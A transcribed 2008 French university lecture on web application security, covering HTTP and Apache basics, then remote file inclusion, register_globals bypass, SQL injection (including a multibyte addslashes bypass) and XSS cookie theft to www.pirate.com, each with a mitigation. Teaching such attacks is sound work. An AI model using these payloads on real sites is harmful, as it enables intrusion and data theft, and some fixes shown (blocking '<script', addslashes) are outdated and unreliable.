La sécurisation d`applications - Direction du Système d`Information

Transcription

La sécurisation d`applications - Direction du Système d`Information
Contexte
Les serveurs web
Les attaques web
La sécurisation d’applications
Fabrice Prigent
Université Toulouse 1 Sciences Sociales
10 mars 2008
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
Les firewalls ne suffisent plus
Mais ont-ils jamais été suffisants ?
La protection à 100% n’existe pas. De plus certains protocoles
doivent absolument passer :
Le web (HTTP et HTTPS)
Le courrier électronique (SMTP, POP3, IMAP)
Les protocoles réseaux (DNS, ICMP, etc.)
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
Problème générique des failles
Les failles sont dues à l’utilisation imprévue d’une variable pour
obtenir un comportement inattendu, mais contrôlé, plus ou moins
correctement, par le pirate.
Contrairement à ce que montre le cinéma, les intrusions sont dûes
à plus de 90% à l’utilisation de failles de sécurité, et non à un
problème de mot de passe.
Les serveurs web étant souvent les seuls points accessibles, voyons
comment cela peut se passer.
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
HTTP
HTML
Apache
Fonctionnement d’un serveur web
Un serveur web c’est 2 choses
Un procotole de communication : le HTTP
Hyper Text Tranfert Protocol
Actuellement en version 1.1
Un langage de description de page : le HTML
Hyper Text Markup Language
Actuellement en version 4.0.1
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
HTTP
HTML
Apache
HTTP
Il s’agit d’un protocole connecté, basé sur TCP, qui utilise
habituellement le port 80
Il existe une version chiffrée (HTTPS) qui utilise le protocole SSL.
Elle tourne sur le port 443.
Ce protocole définit la manière de communiquer des pages
des ordres donnés par le client (GET, POST, HEAD,
PROPFIND, etc.)
et ensuite récupère le résultat, précédé d’un état (200, 404,
500 etc.)
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
HTTP
HTML
Apache
HTTP
Coupe la connexion, dès que le fichier est transféré
(contrairement au ftp par exemple)
Chaque nouveau fichier implique une nouvelle connexion
Depuis la version 1.1, le serveur peut maintenir la liaison
(keepalive) pour une durée déterminée.
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
HTTP
HTML
Apache
HTML
HTML est un dérivé de SGML
Utilise des balise de définition
Permet de décrire des pages web statiques.
CGI (Common Gateway Interface) permet de créer
dynamiquement des pages
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
HTTP
HTML
Apache
HTML : exemple de CGI
Voici un exemple en shell d’un programme CGI
# !/bin/sh
echo ”Content-type : text/html”
echo
echo ”<HTML>”
echo ”<BODY>”
echo ”<H1>Titre 1</H1>”
echo ”test de cgi”
echo ”</BODY>”
echo ”</HTML>”
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
HTTP
HTML
Apache
HTML : de nombreux langages
Tous les langages peuvent être utilisés pour créer des CGI.
Mais certains sont plus adaptés que d’autres :
Pour accélérer les traitements (le lancement d’un interpréteur à
chaque appel) certains langages sont présents sous forme de
modules directement intégrés dans apache :
PHP (dédié au web)
ASP (uniquement pour Windows)
Perl (langage système qui se révèle très efficace)
Python
Ruby (et particulièrement Ruby on rails, avec ses capacités
web 2.0)
Fabrice Prigent
La sécurisation d’applications
Logo
Contexte
Les serveurs web
Les attaques web
HTTP
HTML
Apache
Apache : historique
Il est dérivé du serveur NCSA, à l’aide de patches d’où son nom ”a
patchy server”.
Il représente entre 60 et 70 % des serveurs web dans le monde.
3 versions coexistent
la 1.3 : historique
la 2.0 : plus efficace
la 2.2 : avec une séparation des authentifications et des
autorisations.
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
HTTP
HTML
Apache
Apache : environnement
Du fait de sa popularité, de très nombreux modules ont été
développés pour lui :
en authentification
en sécurité (mod ssl, mod security)
en fonctionnalité (mod proxy, mod cband, etc.)
Il bénéficie aussi de très nombreux langages en modules
PHP est le plus connu
mais aussi mod perl, mod python, etc.
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
Structure d’un service web
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
19 points de vulnérabilités
Du schéma précédent, on peut trouver 19 points de vulnérabilités :
Les logiciels
Les serveurs
Les scripts
Les modules
Les OS
Les matériels
Les communications
L’utilisateur
Les protocoles
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
Les types de paramètres
Variables GET. Elles sont données dans l’URL de demande
Variables POST. Fournies par un formulaire.
Variables Cookies. Variables conservées par le navigateur sur
son disque dur et généralement fournies par le serveur.
Variables SERVER (HTTP USER AGENT ou
HTTP REFERER)
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
Les variables GET
Décrites dans l’URL
http ://www.google.com/search ?p=html&hl=fr
Ici 2 variables p et hl, avec les valeurs html et fr.
Généralement provenant d’une interrogation directe
Dans le cas présent, plutôt rare, il s’agit d’envoi par formulaire
(method=GET)
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
Les variables POST
Remplies par un formulaire
Utilisées quand on a un grand volume de données à envoyer
Utilisées quand on a un grand nombre de variables
Non tracées par les journaux des daemons (hormis modules
spécifiques)
Traitement particulier des variables Hidden qui sont cachées
pour l’utilisateur, mais pas pour le navigateur.
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
Les variables cookies
Notion de valise de variables stockées sur le client
Transmises de manière transparente dans la requête
C’est le serveur qui est sensé positionner ces variables pour
une durée limitée
Un serveur ne peut généralement (sauf faille de sécurité)
demander à accéder qu’aux variables :
Qu’il a lui-même positionnées
Qu’une machine de son domaine a positionnées (et si celle-ci
l’a autorise)
Qu’une machine d’un domaine de confiance a positionnées (si
celle-ci l’a autorisé)
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
Les variables SERVER
Ces variables sont hétéroclites.
Celles que seul le serveur connait
Version du serveur
Répertoire de travail
Celles qui sont associées à la connexion
L’adresse du client REMOTE ADDR
L’hôte appelé
Le port source
Celles qui proviennent du client
Le Referer : HTTP REFERER
Le USER AGENT
L’URL appelée
Fabrice Prigent
La sécurisation d’applications
Logo
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
MUV : principe fondamental
Ces variables proviennent quasiment toutes du client
Il a donc tout pouvoir pour les modifier, effacer
Les contrôles Javascript sont exécutés par le client ( s’il le
souhaite ! ).
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
MUV : Quelques exemples
Variables sur les noms de fichier (ou les répertoires)
Variables dites superglobales
Variables d’exécution système
Variables dans les requêtes SQL (ou LDAP, etc.)
Variables pour du XSS
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
MUV : Sur les noms de fichiers
Exemple d’inclusion.
Soit le programme de mise en page suivant
<?
include (”header.inc”) ;
$page=$ GET[’page’] ;
include ($page) ;
include (”footer.inc”) ;
?>
Que l’on utilise de la manière suivante
Utilisation
http ://192.168.30.72/php/mep.php ?page=toto.txt
Fabrice Prigent
La sécurisation d’applications
Logo
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
MUV : Sur les noms de fichiers
Quelques attaques :
Exemples simples d’utilisation malveillantes
http ://192.168.30.72/php/mep.php ?page=/etc/passwd
http ://192.168.30.72/php/mep.php ?page=http ://cri.univtlse1.fr/creufop/hacker.inc
On pourrait de la même manière utiliser les fonctions fopen,
require, etc.
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
MUV :Solution
Enlever les caractères dangereux
<?
If (eregi(”/”,$page)
{die(”Va jouer dans le mixer !”)}
include (”header.inc”) ;
include ($page) ;
include (”footer.inc”) ;
?>
On peut aussi utiliser
La notion de safe-mode :
http ://fr2.php.net/features.safe-mode
Empêcher l’utilisateur apache de sortir (avec un firewall en
sortie)
Fabrice Prigent
La sécurisation d’applications
Logo
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
MUV :Les variables superglobales
Code s’appelant avec un login en paramètre
<?
if (($login == ”toto”) ||( $login == ”anon”))
{$acces=true ;}
if ($acces)
{echo ”vous avez accès à la page”;}
else
{echo ”vous n’avez pas accès à la page”;}
?>
Que fait-on pour avoir accès à la page si on ne connaı̂t pas les
login toto et anon ?
Fabrice Prigent
La sécurisation d’applications
Logo
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
MUV :Les variables superglobales : solution
Il ne faut pas autoriser la création de ces variables, si cela est
possible (certaines vieilles applications le nécessitent.
Dans le fichier /etc/httpd/conf/httpd.conf
register global=off
Dans les applications
$login=$
$login=$
$login=$
$login=$
get[’login’] ;
post[’login’] ;
cookie[’login’] ;
server[’login’] ;
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
MUV : Les injections SQL (ou LDAP)
Le SQL est un langage d’interrogation de base de données. C’est
un véritable langage de programmation, avec ses fonctions, ses
variables, ses commentaires.
Le principe des appels SQL en WWW, est que le langage (PHP par
exemple) crée une chaine de caractères (la commande SQL) qui est
ensuite envoyée au SGBD.
Le SGBD interprète et exécute le programme envoyé.
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
MUV : Les injections SQL (ou LDAP)
Petit programme appelé avec en paramètre id
http ://192.168.30.72/php/test.sql ?id=3
Code du programme
<?
$sql query=”DELETE FROM matable WHERE id=$id”;
mysql connect($database) ;
mysql query($database,$sql query) ;
?>
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
MUV : Les injections SQL première attaque
Les espaces doivent être remplacés par %20
http ://192.168.30.72/php/test.sql ?id=3 OR 1=1
ce qui nous donne
Chaine envoyée au SGBD
DELETE FROM matable WHERE id=3 OR 1=1
Le résultat est la destruction de tous les enregistrements.
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
MUV : Les injections SQL première solution
La première solution peut consister à modifier le programme en
ajoutant des quotes
Code du programme
$sql query=”DELETE FROM matable WHERE id=’$id’”;
Le résultat de la première attaque devient alors
Code du programme
DELETE FROM matable WHERE id=’3 OR 1=1’
qui est sans danger.
Mais pourtant une faille existe encore
Fabrice Prigent
La sécurisation d’applications
Logo
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
MUV : Les injections SQL deuxième attaque
Insérons une quote
http ://192.168.30.72/php/test.sql ?id=3’ OR 1=1
ce qui nous donne
Chaine envoyée au SGBD
DELETE FROM matable WHERE id=’3’ OR 1=1’
Le résultat est encore la destruction de tous les enregistrements.
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
MUV : Les injections SQL deuxième solution
La solution va passer par 2 possibilités
le magic quotes gpc à on (par défaut depuis la 4.2.0 pour
PHP, mais il est désactivé dans PHP5, et disparait en PHP6)
la fonction addslashes
Code du programme
$id=add slashes($id) ;
$sql query=”DELETE FROM matable WHERE id=’$id’”;
L’attaque précédente donne alors
Chaine envoyée au SGBD
DELETE FROM matable WHERE id=’3\’ OR 1=1’
Qui ne fait plus rien. Mais ce n’est toujours pas fini. Une faille
existe malgré cela.
Fabrice Prigent
La sécurisation d’applications
Logo
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
MUV : Les injections SQL troisième attaque
Le but de magic quotes gpc est à ON. Mais il a des problèmes
avec les caractères dits ”multibytes” : c’est à dire les alphabets plus
complexes (chinois par exemple)
A la place de la quote, plaçons le caractère multibyte ’0xbf27’.
Cela ne peut réellement se faire que par un script :
Parlons chinois
$id=chr(0xbf).chr(0x27).” OR 1=1”;
fopen(http ://192.168.30.72/php/test.sql ?id=$id)”;
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
MUV : Les injections SQL troisième attaque
Le PHP reçoit un caractère chinois 0xbf27 (d’ailleurs valide),
et le comprend comme tel.
Il l’envoie à addslashes (ou à magic quotes gpc, ce qui est
identique)
Celui-ci ne comprenant pas que c’est un caractère multibytes,
croit voir 2 caractères : 0xbf et 0x27 qui est une quote. Il
ajoute à 0x27 un antislash (0x5c).
La chaine renvoyée à PHP est donc 0xbf5c27.
Comme PHP comprend le multibyte, et que 0xbf5c est un
caractère valide, il nous reste 0x27 qui est... la quote.
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
MUV : Les injections SQL troisième attaque
On obtient alors la chaine suivante où ? représente le caractère
0xbf5c :
Chaine envoyée au SGBD
DELETE FROM matable WHERE id=’3 ?’ OR 1=1’
Le résultat est encore la destruction de tous les enregistrements.
Solution : mysql real escape string().
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
MUV : Les variables de session
Les variables de session permettent de mettre les variables
habituellement mises en cookies, uniquement sur le serveur
Cela évite de trimballer beaucoup d’information
On n’a plus à les contrôler à chaque fois (elles ne sont plus
modifiables)
Seule reste une variable dans le cookie : celle qui contient le
numéro de session. En général, cette variable est équivalente à un
identifiant (on ne réauthentifie plus la personne).
Pour un pirate, c’est LE cookie à obtenir.
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
MUV : Voler un cookie : Attaque
Soit un forum avec une zone de texte quelconque.
Si on saisit
Salut les potes, le cours est génial, le prof est <B>super</B>.
Reviendez....
On obtient donc
Salut les potes, le cours est génial, le prof est super.
Reviendez....
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
MUV : Voler un cookie : Problème
Et si on saisit ?
<script>
while (1)
alert(”Vas téter la prise électrique”) ;
</script>
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
MUV : Voler un cookie : Problème
Soyons plus méchant :
Récupérons le cookie
<script>
cookie=document.cookie() ;
i=new image() ;
i.src=”http ://www.pirate.com/ ?id=”+cookie ;
</script>
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
MUV : Voler un cookie : Solution
Bloquer la chaine ”<script” dans les messages.
Logo
Fabrice Prigent
La sécurisation d’applications
Contexte
Les serveurs web
Les attaques web
Les variables web
Mauvaise utilisation de variables
Les noms de fichiers
Les variables superglobales
SQL Injection
Les attaques XSS
MUV : Voler un cookie : Vraiment la solution ?
Comment s’écrit script ? ? ? ?
”<script”
”<javascript”
”<JAVAscript”
”<java script”
”<java
script”
etc.
Logo
Fabrice Prigent
La sécurisation d’applications

Documents pareils